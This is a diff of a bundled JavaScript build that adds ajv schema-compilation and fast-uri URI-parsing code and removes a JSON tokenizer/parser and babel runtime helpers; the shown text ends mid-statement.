+ if (this.opts.code.source === true) { + validate15.source = { validateName, validateCode, scopeValues: gen._values }; + } + if (this.opts.unevaluated) { + const { props, items } = schemaCxt; + validate15.evaluated = { + props: props instanceof codegen_1.Name ? void 0 : props, + items: items instanceof codegen_1.Name ? void 0 : items, + dynamicProps: props instanceof codegen_1.Name, + dynamicItems: items instanceof codegen_1.Name + }; + if (validate15.source) + validate15.source.evaluated = (0, codegen_1.stringify)(validate15.evaluated); + } + sch.validate = validate15; + return sch; + } catch (e10) { + delete sch.validate; + delete sch.validateName; + if (sourceCode) + this.logger.error("Error compiling schema, function code:", sourceCode); + throw e10; + } finally { + this._compilations.delete(sch); } - }; - var QUOTE$1 = '"'; - var SLASH = "/"; - var STAR = "*"; - var DEFAULT_OPTIONS = { - comments: false, - ranges: false - }; - function isWhitespace2(c7) { - return /[\s\n]/.test(c7); } - function isDigit2(c7) { - return c7 >= "0" && c7 <= "9"; + exports28.compileSchema = compileSchema; + function resolveRef(root2, baseId, ref) { + var _a2; + ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, ref); + const schOrFunc = root2.refs[ref]; + if (schOrFunc) + return schOrFunc; + let _sch = resolve3.call(this, root2, ref); + if (_sch === void 0) { + const schema8 = (_a2 = root2.localRefs) === null || _a2 === void 0 ? void 0 : _a2[ref]; + const { schemaId } = this.opts; + if (schema8) + _sch = new SchemaEnv({ schema: schema8, schemaId, root: root2, baseId }); + } + if (_sch === void 0) + return; + return root2.refs[ref] = inlineOrCompile.call(this, _sch); } - function isHexDigit(c7) { - return isDigit2(c7) || /[a-f]/i.test(c7); + exports28.resolveRef = resolveRef; + function inlineOrCompile(sch) { + if ((0, resolve_1.inlineRef)(sch.schema, this.opts.inlineRefs)) + return sch.schema; + return sch.validate ? sch : compileSchema.call(this, sch); } - function isPositiveDigit(c7) { - return c7 >= "1" && c7 <= "9"; + function getCompilingSchema(schEnv) { + for (const sch of this._compilations) { + if (sameSchemaEnv(sch, schEnv)) + return sch; + } } - function isKeywordStart(c7) { - return /[tfn]/.test(c7); + exports28.getCompilingSchema = getCompilingSchema; + function sameSchemaEnv(s1, s22) { + return s1.schema === s22.schema && s1.root === s22.root && s1.baseId === s22.baseId; } - function isNumberStart(c7) { - return isDigit2(c7) || c7 === "." || c7 === "-"; + function resolve3(root2, ref) { + let sch; + while (typeof (sch = this.refs[ref]) == "string") + ref = sch; + return sch || this.schemas[ref] || resolveSchema.call(this, root2, ref); } - function tokenize(text, options) { - options = Object.freeze({ - ...DEFAULT_OPTIONS, - ...options - }); - let offset = -1; - let line = 1; - let column = 0; - let newLine = false; - const tokens = []; - function createToken(tokenType2, value2, startLoc, endLoc) { - const endOffset = startLoc.offset + value2.length; - let range2 = options.ranges ? { - range: [startLoc.offset, endOffset] - } : void 0; - return { - type: tokenType2, - value: value2, - loc: { - start: startLoc, - end: endLoc || { - line: startLoc.line, - column: startLoc.column + value2.length, - offset: endOffset - } - }, - ...range2 - }; + function resolveSchema(root2, ref) { + const p7 = this.opts.uriResolver.parse(ref); + const refPath = (0, resolve_1._getFullPath)(this.opts.uriResolver, p7); + let baseId = (0, resolve_1.getFullPath)(this.opts.uriResolver, root2.baseId, void 0); + if (Object.keys(root2.schema).length > 0 && refPath === baseId) { + return getJsonPointer.call(this, p7, root2); } - function next() { - let c8 = text.charAt(++offset); - if (newLine) { - line++; - column = 1; - newLine = false; - } else { - column++; - } - if (c8 === "\r") { - newLine = true; - if (text.charAt(offset + 1) === "\n") { - offset++; - } - } else if (c8 === "\n") { - newLine = true; - } - return c8; + const id = (0, resolve_1.normalizeId)(refPath); + const schOrRef = this.refs[id] || this.schemas[id]; + if (typeof schOrRef == "string") { + const sch = resolveSchema.call(this, root2, schOrRef); + if (typeof (sch === null || sch === void 0 ? void 0 : sch.schema) !== "object") + return; + return getJsonPointer.call(this, p7, sch); } - function locate() { - return { - line, - column, - offset - }; + if (typeof (schOrRef === null || schOrRef === void 0 ? void 0 : schOrRef.schema) !== "object") + return; + if (!schOrRef.validate) + compileSchema.call(this, schOrRef); + if (id === (0, resolve_1.normalizeId)(ref)) { + const { schema: schema8 } = schOrRef; + const { schemaId } = this.opts; + const schId = schema8[schemaId]; + if (schId) + baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); + return new SchemaEnv({ schema: schema8, schemaId, root: root2, baseId }); } - function readKeyword(c8) { - let value2 = expectedKeywords.get(c8); - if (text.slice(offset, offset + value2.length) === value2) { - offset += value2.length - 1; - column += value2.length - 1; - return { value: value2, c: next() }; + return getJsonPointer.call(this, p7, schOrRef); + } + exports28.resolveSchema = resolveSchema; + var PREVENT_SCOPE_CHANGE = /* @__PURE__ */ new Set([ + "properties", + "patternProperties", + "enum", + "dependencies", + "definitions" + ]); + function getJsonPointer(parsedRef, { baseId, schema: schema8, root: root2 }) { + var _a2; + if (((_a2 = parsedRef.fragment) === null || _a2 === void 0 ? void 0 : _a2[0]) !== "/") + return; + for (const part of parsedRef.fragment.slice(1).split("/")) { + if (typeof schema8 === "boolean") + return; + const partSchema = schema8[(0, util_1.unescapeFragment)(part)]; + if (partSchema === void 0) + return; + schema8 = partSchema; + const schId = typeof schema8 === "object" && schema8[this.opts.schemaId]; + if (!PREVENT_SCOPE_CHANGE.has(part) && schId) { + baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); } - for (let j6 = 1; j6 < value2.length; j6++) { - if (value2[j6] !== text.charAt(offset + j6)) { - unexpected(next()); - } + } + let env3; + if (typeof schema8 != "boolean" && schema8.$ref && !(0, util_1.schemaHasRulesButRef)(schema8, this.RULES)) { + const $ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schema8.$ref); + env3 = resolveSchema.call(this, root2, $ref); + } + const { schemaId } = this.opts; + env3 = env3 || new SchemaEnv({ schema: schema8, schemaId, root: root2, baseId }); + if (env3.schema !== env3.root.schema) + return env3; + return void 0; + } + } +}); + +// node_modules/ajv/dist/refs/data.json +var require_data = __commonJS({ + "node_modules/ajv/dist/refs/data.json"(exports28, module5) { + module5.exports = { + $id: "https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#", + description: "Meta-schema for $data reference (JSON AnySchema extension proposal)", + type: "object", + required: ["$data"], + properties: { + $data: { + type: "string", + anyOf: [{ format: "relative-json-pointer" }, { format: "json-pointer" }] } + }, + additionalProperties: false + }; + } +}); + +// node_modules/fast-uri/lib/scopedChars.js +var require_scopedChars = __commonJS({ + "node_modules/fast-uri/lib/scopedChars.js"(exports28, module5) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + var HEX = { + 0: 0, + 1: 1, + 2: 2, + 3: 3, + 4: 4, + 5: 5, + 6: 6, + 7: 7, + 8: 8, + 9: 9, + a: 10, + A: 10, + b: 11, + B: 11, + c: 12, + C: 12, + d: 13, + D: 13, + e: 14, + E: 14, + f: 15, + F: 15 + }; + module5.exports = { + HEX + }; + } +}); + +// node_modules/fast-uri/lib/utils.js +var require_utils3 = __commonJS({ + "node_modules/fast-uri/lib/utils.js"(exports28, module5) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + var { HEX } = require_scopedChars(); + var IPV4_REG = /^(?:(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)$/u; + function normalizeIPv4(host) { + if (findToken(host, ".") < 3) { + return { host, isIPV4: false }; } - function readString(c8) { - let value2 = c8; - c8 = next(); - while (c8 && c8 !== QUOTE$1) { - if (c8 === "\\") { - value2 += c8; - c8 = next(); - if (escapeToChar.has(c8)) { - value2 += c8; - } else if (c8 === "u") { - value2 += c8; - for (let i7 = 0; i7 < 4; i7++) { - c8 = next(); - if (isHexDigit(c8)) { - value2 += c8; - } else { - unexpected(c8); - } - } + const matches2 = host.match(IPV4_REG) || []; + const [address] = matches2; + if (address) { + return { host: stripLeadingZeros(address, "."), isIPV4: true }; + } else { + return { host, isIPV4: false }; + } + } + function stringArrayToHexStripped(input, keepZero = false) { + let acc = ""; + let strip = true; + for (const c7 of input) { + if (HEX[c7] === void 0) + return void 0; + if (c7 !== "0" && strip === true) + strip = false; + if (!strip) + acc += c7; + } + if (keepZero && acc.length === 0) + acc = "0"; + return acc; + } + function getIPV6(input) { + let tokenCount = 0; + const output = { error: false, address: "", zone: "" }; + const address = []; + const buffer2 = []; + let isZone = false; + let endipv6Encountered = false; + let endIpv6 = false; + function consume() { + if (buffer2.length) { + if (isZone === false) { + const hex = stringArrayToHexStripped(buffer2); + if (hex !== void 0) { + address.push(hex); } else { - unexpected(c8); + output.error = true; + return false; } - } else { - value2 += c8; } - c8 = next(); - } - if (!c8) { - unexpectedEOF(); + buffer2.length = 0; } - value2 += c8; - return { value: value2, c: next() }; + return true; } - function readNumber(c8) { - let value2 = ""; - if (c8 === "-") { - value2 += c8; - c8 = next(); - if (!isDigit2(c8)) { - unexpected(c8); - } + for (let i7 = 0; i7 < input.length; i7++) { + const cursor = input[i7]; + if (cursor === "[" || cursor === "]") { + continue; } - if (c8 === "0") { - value2 += c8; - c8 = next(); - if (isDigit2(c8)) { - unexpected(c8); + if (cursor === ":") { + if (endipv6Encountered === true) { + endIpv6 = true; } - } else { - if (!isPositiveDigit(c8)) { - unexpected(c8); + if (!consume()) { + break; } - do { - value2 += c8; - c8 = next(); - } while (isDigit2(c8)); - } - if (c8 === ".") { - do { - value2 += c8; - c8 = next(); - } while (isDigit2(c8)); - } - if (c8 === "e" || c8 === "E") { - value2 += c8; - c8 = next(); - if (c8 === "+" || c8 === "-") { - value2 += c8; - c8 = next(); + tokenCount++; + address.push(":"); + if (tokenCount > 7) { + output.error = true; + break; } - if (!isDigit2(c8)) { - unexpected(c8); + if (i7 - 1 >= 0 && input[i7 - 1] === ":") { + endipv6Encountered = true; } - while (isDigit2(c8)) { - value2 += c8; - c8 = next(); + continue; + } else if (cursor === "%") { + if (!consume()) { + break; } + isZone = true; + } else { + buffer2.push(cursor); + continue; } - return { value: value2, c: c8 }; } - function readComment(c8) { - let value2 = c8; - c8 = next(); - if (c8 === "/") { - do { - value2 += c8; - c8 = next(); - } while (c8 && c8 !== "\r" && c8 !== "\n"); - return { value: value2, c: c8 }; - } - if (c8 === STAR) { - while (c8) { - value2 += c8; - c8 = next(); - if (c8 === STAR) { - value2 += c8; - c8 = next(); - if (c8 === SLASH) { - value2 += c8; - c8 = next(); - return { value: value2, c: c8 }; - } - } - } - unexpectedEOF(); + if (buffer2.length) { + if (isZone) { + output.zone = buffer2.join(""); + } else if (endIpv6) { + address.push(buffer2.join("")); + } else { + address.push(stringArrayToHexStripped(buffer2)); } - unexpected(c8); - } - function unexpected(c8) { - throw new UnexpectedChar(c8, locate()); } - function unexpectedEOF() { - throw new UnexpectedEOF(locate()); + output.address = address.join(""); + return output; + } + function normalizeIPv6(host) { + if (findToken(host, ":") < 2) { + return { host, isIPV6: false }; } - let c7 = next(); - while (offset < text.length) { - while (isWhitespace2(c7)) { - c7 = next(); - } - if (!c7) { - break; - } - const start = locate(); - if (knownTokenTypes.has(c7)) { - tokens.push(createToken(knownTokenTypes.get(c7), c7, start)); - c7 = next(); - } else if (isKeywordStart(c7)) { - const result2 = readKeyword(c7); - let value2 = result2.value; - c7 = result2.c; - tokens.push(createToken(knownTokenTypes.get(value2), value2, start)); - } else if (isNumberStart(c7)) { - const result2 = readNumber(c7); - let value2 = result2.value; - c7 = result2.c; - tokens.push(createToken("Number", value2, start)); - } else if (c7 === QUOTE$1) { - const result2 = readString(c7); - let value2 = result2.value; - c7 = result2.c; - tokens.push(createToken("String", value2, start)); - } else if (c7 === SLASH && options.comments) { - const result2 = readComment(c7); - let value2 = result2.value; - c7 = result2.c; - tokens.push(createToken(value2.startsWith("//") ? "LineComment" : "BlockComment", value2, start, locate())); - } else { - unexpected(c7); + const ipv6 = getIPV6(host); + if (!ipv6.error) { + let newHost = ipv6.address; + let escapedHost = ipv6.address; + if (ipv6.zone) { + newHost += "%" + ipv6.zone; + escapedHost += "%25" + ipv6.zone; } + return { host: newHost, escapedHost, isIPV6: true }; + } else { + return { host, isIPV6: false }; } - return tokens; } - var types3 = { - document(body, parts = {}) { - return { - type: "Document", - body, - ...parts - }; - }, - string(value2, parts = {}) { - return { - type: "String", - value: value2, - ...parts - }; - }, - number(value2, parts = {}) { - return { - type: "Number", - value: value2, - ...parts - }; - }, - boolean(value2, parts = {}) { - return { - type: "Boolean", - value: value2, - ...parts - }; - }, - null(parts = {}) { - return { - type: "Null", - value: "null", - ...parts - }; - }, - array(elements, parts = {}) { - return { - type: "Array", - elements, - ...parts - }; - }, - object(members, parts = {}) { - return { - type: "Object", - members, - ...parts - }; - }, - member(name2, value2, parts = {}) { - return { - type: "Member", - name: name2, - value: value2, - ...parts - }; - } - }; - var DEFAULT_OPTIONS$1 = { - tokens: false, - comments: false, - ranges: false - }; - function getStringValue(token) { - let value2 = token.value.slice(1, -1); - let result2 = ""; - let escapeIndex = value2.indexOf("\\"); - let lastIndex = 0; - while (escapeIndex >= 0) { - result2 += value2.slice(lastIndex, escapeIndex); - const escapeChar = value2.charAt(escapeIndex + 1); - if (escapeToChar.has(escapeChar)) { - result2 += escapeToChar.get(escapeChar); - lastIndex = escapeIndex + 2; - } else if (escapeChar === "u") { - const hexCode = value2.slice(escapeIndex + 2, escapeIndex + 6); - if (hexCode.length < 4 || /[^0-9a-f]/i.test(hexCode)) { - throw new ErrorWithLocation( - `Invalid unicode escape \\u${hexCode}.`, - { - line: token.loc.start.line, - column: token.loc.start.column + escapeIndex, - offset: token.loc.start.offset + escapeIndex - } - ); + function stripLeadingZeros(str2, token) { + let out = ""; + let skip = true; + const l7 = str2.length; + for (let i7 = 0; i7 < l7; i7++) { + const c7 = str2[i7]; + if (c7 === "0" && skip) { + if (i7 + 1 <= l7 && str2[i7 + 1] === token || i7 + 1 === l7) { + out += c7; + skip = false; } - result2 += String.fromCharCode(parseInt(hexCode, 16)); - lastIndex = escapeIndex + 6; } else { - throw new ErrorWithLocation( - `Invalid escape \\${escapeChar}.`, - { - line: token.loc.start.line, - column: token.loc.start.column + escapeIndex, - offset: token.loc.start.offset + escapeIndex - } - ); + if (c7 === token) { + skip = true; + } else { + skip = false; + } + out += c7; } - escapeIndex = value2.indexOf("\\", lastIndex); } - result2 += value2.slice(lastIndex); - return result2; + return out; } - function getLiteralValue(token) { - switch (token.type) { - case "Boolean": - return token.value === "true"; - case "Number": - return Number(token.value); - case "Null": - return null; - case "String": - return getStringValue(token); + function findToken(str2, token) { + let ind = 0; + for (let i7 = 0; i7 < str2.length; i7++) { + if (str2[i7] === token) + ind++; } + return ind; } - function parse17(text, options) { - options = Object.freeze({ - ...DEFAULT_OPTIONS$1, - ...options - }); - const tokens = tokenize(text, { - comments: !!options.comments, - ranges: !!options.ranges - }); - let tokenIndex = 0; - function nextNoComments() { - return tokens[tokenIndex++]; - } - function nextSkipComments() { - const nextToken = tokens[tokenIndex++]; - if (nextToken && nextToken.type.endsWith("Comment")) { - return nextSkipComments(); - } - return nextToken; - } - const next = options.comments ? nextSkipComments : nextNoComments; - function assertTokenValue(token, value2) { - if (!token || token.value !== value2) { - throw new UnexpectedToken(token); - } - } - function assertTokenType(token, type3) { - if (!token || token.type !== type3) { - throw new UnexpectedToken(token); + var RDS1 = /^\.\.?\//u; + var RDS2 = /^\/\.(?:\/|$)/u; + var RDS3 = /^\/\.\.(?:\/|$)/u; + var RDS5 = /^\/?(?:.|\n)*?(?=\/|$)/u; + function removeDotSegments(input) { + const output = []; + while (input.length) { + if (input.match(RDS1)) { + input = input.replace(RDS1, ""); + } else if (input.match(RDS2)) { + input = input.replace(RDS2, "/"); + } else if (input.match(RDS3)) { + input = input.replace(RDS3, "/"); + output.pop(); + } else if (input === "." || input === "..") { + input = ""; + } else { + const im = input.match(RDS5); + if (im) { + const s7 = im[0]; + input = input.slice(s7.length); + output.push(s7); + } else { + throw new Error("Unexpected dot segment condition"); + } } } - function createRange2(start, end) { - return options.ranges ? { - range: [start.offset, end.offset] - } : void 0; + return output.join(""); + } + function normalizeComponentEncoding(components, esc) { + const func = esc !== true ? escape : unescape; + if (components.scheme !== void 0) { + components.scheme = func(components.scheme); } - function createLiteralNode(token) { - const range2 = createRange2(token.loc.start, token.loc.end); - return { - type: token.type, - value: getLiteralValue(token), - loc: { - start: { - ...token.loc.start - }, - end: { - ...token.loc.end - } - }, - ...range2 - }; + if (components.userinfo !== void 0) { + components.userinfo = func(components.userinfo); } - function parseProperty(token) { - assertTokenType(token, "String"); - const name2 = createLiteralNode(token); - token = next(); - assertTokenValue(token, ":"); - const value2 = parseValue2(); - const range2 = createRange2(name2.loc.start, value2.loc.end); - return types3.member(name2, value2, { - loc: { - start: { - ...name2.loc.start - }, - end: { - ...value2.loc.end - } - }, - ...range2 - }); + if (components.host !== void 0) { + components.host = func(components.host); } - function parseObject(firstToken) { - assertTokenValue(firstToken, "{"); - const members = []; - let token = next(); - if (token && token.value !== "}") { - do { - members.push(parseProperty(token)); - token = next(); - if (token.value === ",") { - token = next(); - } else { - break; - } - } while (token); - } - assertTokenValue(token, "}"); - const range2 = createRange2(firstToken.loc.start, token.loc.end); - return types3.object(members, { - loc: { - start: { - ...firstToken.loc.start - }, - end: { - ...token.loc.end - } - }, - ...range2 - }); + if (components.path !== void 0) { + components.path = func(components.path); } - function parseArray(firstToken) { - assertTokenValue(firstToken, "["); - const elements = []; - let token = next(); - if (token && token.value !== "]") { - do { - elements.push(parseValue2(token)); - token = next(); - if (token.value === ",") { - token = next(); - } else { - break; - } - } while (token); - } - assertTokenValue(token, "]"); - const range2 = createRange2(firstToken.loc.start, token.loc.end); - return types3.array(elements, { - type: "Array", - elements, - loc: { - start: { - ...firstToken.loc.start - }, - end: { - ...token.loc.end - } - }, - ...range2 - }); + if (components.query !== void 0) { + components.query = func(components.query); } - function parseValue2(token) { - token = token || next(); - switch (token.type) { - case "String": - case "Boolean": - case "Number": - case "Null": - return createLiteralNode(token); - case "Punctuator": - if (token.value === "{") { - return parseObject(token); - } else if (token.value === "[") { - return parseArray(token); - } - default: - throw new UnexpectedToken(token); - } + if (components.fragment !== void 0) { + components.fragment = func(components.fragment); } - const docBody = parseValue2(); - const unexpectedToken = next(); - if (unexpectedToken) { - throw new UnexpectedToken(unexpectedToken); + return components; + } + function recomposeAuthority(components) { + const uriTokens = []; + if (components.userinfo !== void 0) { + uriTokens.push(components.userinfo); + uriTokens.push("@"); } - const docParts = { - loc: { - start: { - line: 1, - column: 1, - offset: 0 - }, - end: { - ...docBody.loc.end + if (components.host !== void 0) { + let host = unescape(components.host); + const ipV4res = normalizeIPv4(host); + if (ipV4res.isIPV4) { + host = ipV4res.host; + } else { + const ipV6res = normalizeIPv6(ipV4res.host); + if (ipV6res.isIPV6 === true) { + host = `[${ipV6res.escapedHost}]`; + } else { + host = components.host; } } - }; - if (options.tokens) { - docParts.tokens = tokens; + uriTokens.push(host); } - if (options.ranges) { - docParts.range = createRange2(docParts.loc.start, docParts.loc.end); + if (typeof components.port === "number" || typeof components.port === "string") { + uriTokens.push(":"); + uriTokens.push(String(components.port)); } - return types3.document(docBody, docParts); + return uriTokens.length ? uriTokens.join("") : void 0; } - var childKeys = /* @__PURE__ */ new Map([ - ["Document", ["body"]], - ["Object", ["members"]], - ["Member", ["name", "value"]], - ["Array", ["elements"]], - ["String", []], - ["Number", []], - ["Boolean", []], - ["Null", []] - ]); - function isObject8(value2) { - return value2 && typeof value2 === "object"; + module5.exports = { + recomposeAuthority, + normalizeComponentEncoding, + removeDotSegments, + normalizeIPv4, + normalizeIPv6, + stringArrayToHexStripped + }; + } +}); + +// node_modules/fast-uri/lib/schemes.js +var require_schemes = __commonJS({ + "node_modules/fast-uri/lib/schemes.js"(exports28, module5) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + var UUID_REG = /^[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12}$/iu; + var URN_REG = /([\da-z][\d\-a-z]{0,31}):((?:[\w!$'()*+,\-.:;=@]|%[\da-f]{2})+)/iu; + function isSecure(wsComponents) { + return typeof wsComponents.secure === "boolean" ? wsComponents.secure : String(wsComponents.scheme).toLowerCase() === "wss"; } - function isNode2(value2) { - return isObject8(value2) && typeof value2.type === "string"; + function httpParse(components) { + if (!components.host) { + components.error = components.error || "HTTP URIs must have a host."; + } + return components; } - function traverse4(root2, visitor) { - function visitNode(node, parent2) { - if (typeof visitor.enter === "function") { - visitor.enter(node, parent2); - } - for (const key of childKeys.get(node.type)) { - const value2 = node[key]; - if (isObject8(value2)) { - if (Array.isArray(value2)) { - value2.forEach((child) => visitNode(child, node)); - } else if (isNode2(value2)) { - visitNode(value2, node); - } - } - } - if (typeof visitor.exit === "function") { - visitor.exit(node, parent2); - } + function httpSerialize(components) { + const secure = String(components.scheme).toLowerCase() === "https"; + if (components.port === (secure ? 443 : 80) || components.port === "") { + components.port = void 0; } - visitNode(root2); + if (!components.path) { + components.path = "/"; + } + return components; } - function iterator(root2, filter2 = () => true) { - const traversal = []; - traverse4(root2, { - enter(node, parent2) { - traversal.push({ node, parent: parent2, phase: "enter" }); - }, - exit(node, parent2) { - traversal.push({ node, parent: parent2, phase: "exit" }); - } - }); - return traversal.filter(filter2).values(); + function wsParse(wsComponents) { + wsComponents.secure = isSecure(wsComponents); + wsComponents.resourceName = (wsComponents.path || "/") + (wsComponents.query ? "?" + wsComponents.query : ""); + wsComponents.path = void 0; + wsComponents.query = void 0; + return wsComponents; } - function evaluate(node) { - switch (node.type) { - case "String": - case "Number": - case "Boolean": - return node.value; - case "Null": - return null; - case "Array": - return node.elements.map(evaluate); - case "Object": { - const object = {}; - node.members.forEach((member) => { - object[evaluate(member.name)] = evaluate(member.value); - }); - return object; + function wsSerialize(wsComponents) { + if (wsComponents.port === (isSecure(wsComponents) ? 443 : 80) || wsComponents.port === "") { + wsComponents.port = void 0; + } + if (typeof wsComponents.secure === "boolean") { + wsComponents.scheme = wsComponents.secure ? "wss" : "ws"; + wsComponents.secure = void 0; + } + if (wsComponents.resourceName) { + const [path2, query] = wsComponents.resourceName.split("?"); + wsComponents.path = path2 && path2 !== "/" ? path2 : void 0; + wsComponents.query = query; + wsComponents.resourceName = void 0; + } + wsComponents.fragment = void 0; + return wsComponents; + } + function urnParse(urnComponents, options) { + if (!urnComponents.path) { + urnComponents.error = "URN can not be parsed"; + return urnComponents; + } + const matches2 = urnComponents.path.match(URN_REG); + if (matches2) { + const scheme = options.scheme || urnComponents.scheme || "urn"; + urnComponents.nid = matches2[1].toLowerCase(); + urnComponents.nss = matches2[2]; + const urnScheme = `${scheme}:${options.nid || urnComponents.nid}`; + const schemeHandler = SCHEMES[urnScheme]; + urnComponents.path = void 0; + if (schemeHandler) { + urnComponents = schemeHandler.parse(urnComponents, options); } - case "Document": - return evaluate(node.body); - case "Property": - throw new Error("Cannot evaluate object property outside of an object."); - default: - throw new Error(`Unknown node type ${node.type}.`); + } else { + urnComponents.error = urnComponents.error || "URN can not be parsed."; } + return urnComponents; } - function print(node, { indent = 0 } = {}) { - const value2 = evaluate(node); - return JSON.stringify(value2, null, indent); + function urnSerialize(urnComponents, options) { + const scheme = options.scheme || urnComponents.scheme || "urn"; + const nid = urnComponents.nid.toLowerCase(); + const urnScheme = `${scheme}:${options.nid || nid}`; + const schemeHandler = SCHEMES[urnScheme]; + if (schemeHandler) { + urnComponents = schemeHandler.serialize(urnComponents, options); + } + const uriComponents = urnComponents; + const nss = urnComponents.nss; + uriComponents.path = `${nid || options.nid}:${nss}`; + options.skipEscape = true; + return uriComponents; } - exports28.evaluate = evaluate; - exports28.iterator = iterator; - exports28.parse = parse17; - exports28.print = print; - exports28.tokenize = tokenize; - exports28.traverse = traverse4; - exports28.types = types3; - } -}); - -// node_modules/@babel/runtime/helpers/typeof.js -var require_typeof = __commonJS({ - "node_modules/@babel/runtime/helpers/typeof.js"(exports28, module5) { - init_dirname(); - init_buffer2(); - init_process2(); - function _typeof3(o7) { - "@babel/helpers - typeof"; - return module5.exports = _typeof3 = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(o8) { - return typeof o8; - } : function(o8) { - return o8 && "function" == typeof Symbol && o8.constructor === Symbol && o8 !== Symbol.prototype ? "symbol" : typeof o8; - }, module5.exports.__esModule = true, module5.exports["default"] = module5.exports, _typeof3(o7); + function urnuuidParse(urnComponents, options) { + const uuidComponents = urnComponents; + uuidComponents.uuid = uuidComponents.nss; + uuidComponents.nss = void 0; + if (!options.tolerant && (!uuidComponents.uuid || !UUID_REG.test(uuidComponents.uuid))) { + uuidComponents.error = uuidComponents.error || "UUID is not valid."; + } + return uuidComponents; } - module5.exports = _typeof3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + function urnuuidSerialize(uuidComponents) { + const urnComponents = uuidComponents; + urnComponents.nss = (uuidComponents.uuid || "").toLowerCase(); + return urnComponents; + } + var http = { + scheme: "http", + domainHost: true, + parse: httpParse, + serialize: httpSerialize + }; + var https = { + scheme: "https", + domainHost: http.domainHost, + parse: httpParse, + serialize: httpSerialize + }; + var ws = { + scheme: "ws", + domainHost: true, + parse: wsParse, + serialize: wsSerialize + }; + var wss = { + scheme: "wss", + domainHost: ws.domainHost, + parse: ws.parse, + serialize: ws.serialize + }; + var urn = { + scheme: "urn", + parse: urnParse, + serialize: urnSerialize, + skipNormalize: true + }; + var urnuuid = { + scheme: "urn:uuid", + parse: urnuuidParse, + serialize: urnuuidSerialize, + skipNormalize: true + }; + var SCHEMES = { + http, + https, + ws, + wss, + urn, + "urn:uuid": urnuuid + }; + module5.exports = SCHEMES; } }); -// node_modules/@babel/runtime/helpers/toPrimitive.js -var require_toPrimitive = __commonJS({ - "node_modules/@babel/runtime/helpers/toPrimitive.js"(exports28, module5) { +// node_modules/fast-uri/index.js +var require_fast_uri = __commonJS({ + "node_modules/fast-uri/index.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _typeof3 = require_typeof()["default"]; - function toPrimitive(t8, r8) { - if ("object" != _typeof3(t8) || !t8) - return t8; - var e10 = t8[Symbol.toPrimitive]; - if (void 0 !== e10) { - var i7 = e10.call(t8, r8 || "default"); - if ("object" != _typeof3(i7)) - return i7; - throw new TypeError("@@toPrimitive must return a primitive value."); + var { normalizeIPv6, normalizeIPv4, removeDotSegments, recomposeAuthority, normalizeComponentEncoding } = require_utils3(); + var SCHEMES = require_schemes(); + function normalize2(uri, options) { + if (typeof uri === "string") { + uri = serialize(parse17(uri, options), options); + } else if (typeof uri === "object") { + uri = parse17(serialize(uri, options), options); } - return ("string" === r8 ? String : Number)(t8); + return uri; } - module5.exports = toPrimitive, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + function resolve3(baseURI, relativeURI, options) { + const schemelessOptions = Object.assign({ scheme: "null" }, options); + const resolved = resolveComponents(parse17(baseURI, schemelessOptions), parse17(relativeURI, schemelessOptions), schemelessOptions, true); + return serialize(resolved, { ...schemelessOptions, skipEscape: true }); + } + function resolveComponents(base, relative2, options, skipNormalization) { + const target = {}; + if (!skipNormalization) { + base = parse17(serialize(base, options), options); + relative2 = parse17(serialize(relative2, options), options); + } + options = options || {}; + if (!options.tolerant && relative2.scheme) { + target.scheme = relative2.scheme; + target.userinfo = relative2.userinfo; + target.host = relative2.host; + target.port = relative2.port; + target.path = removeDotSegments(relative2.path || ""); + target.query = relative2.query; + } else { + if (relative2.userinfo !== void 0 || relative2.host !== void 0 || relative2.port !== void 0) { + target.userinfo = relative2.userinfo; + target.host = relative2.host; + target.port = relative2.port; + target.path = removeDotSegments(relative2.path || ""); + target.query = relative2.query; + } else { + if (!relative2.path) { + target.path = base.path; + if (relative2.query !== void 0) { + target.query = relative2.query; + } else { + target.query = base.query; + } + } else { + if (relative2.path.charAt(0) === "/") { + target.path = removeDotSegments(relative2.path); + } else { + if ((base.userinfo !== void 0 || base.host !== void 0 || base.port !== void 0) && !base.path) { + target.path = "/" + relative2.path; + } else if (!base.path) { + target.path = relative2.path; + } else { + target.path = base.path.slice(0, base.path.lastIndexOf("/") + 1) + relative2.path; + } + target.path = removeDotSegments(target.path); + } + target.query = relative2.query; + } + target.userinfo = base.userinfo; + target.host = base.host; + target.port = base.port; + } + target.scheme = base.scheme; + } + target.fragment = relative2.fragment; + return target; + } + function equal2(uriA, uriB, options) { + if (typeof uriA === "string") { + uriA = unescape(uriA); + uriA = serialize(normalizeComponentEncoding(parse17(uriA, options), true), { ...options, skipEscape: true }); + } else if (typeof uriA === "object") { + uriA = serialize(normalizeComponentEncoding(uriA, true), { ...options, skipEscape: true }); + } + if (typeof uriB === "string") { + uriB = unescape(uriB); + uriB = serialize(normalizeComponentEncoding(parse17(uriB, options), true), { ...options, skipEscape: true }); + } else if (typeof uriB === "object") { + uriB = serialize(normalizeComponentEncoding(uriB, true), { ...options, skipEscape: true }); + } + return uriA.toLowerCase() === uriB.toLowerCase(); + } + function serialize(cmpts, opts) { + const components = { + host: cmpts.host, + scheme: cmpts.scheme, + userinfo: cmpts.userinfo, + port: cmpts.port, + path: cmpts.path, + query: cmpts.query, + nid: cmpts.nid, + nss: cmpts.nss, + uuid: cmpts.uuid, + fragment: cmpts.fragment, + reference: cmpts.reference, + resourceName: cmpts.resourceName, + secure: cmpts.secure, + error: "" + }; + const options = Object.assign({}, opts); + const uriTokens = []; + const schemeHandler = SCHEMES[(options.scheme || components.scheme || "").toLowerCase()]; + if (schemeHandler && schemeHandler.serialize) + schemeHandler.serialize(components, options); + if (components.path !== void 0) { + if (!options.skipEscape) { + components.path = escape(components.path); + if (components.scheme !== void 0) { + components.path = 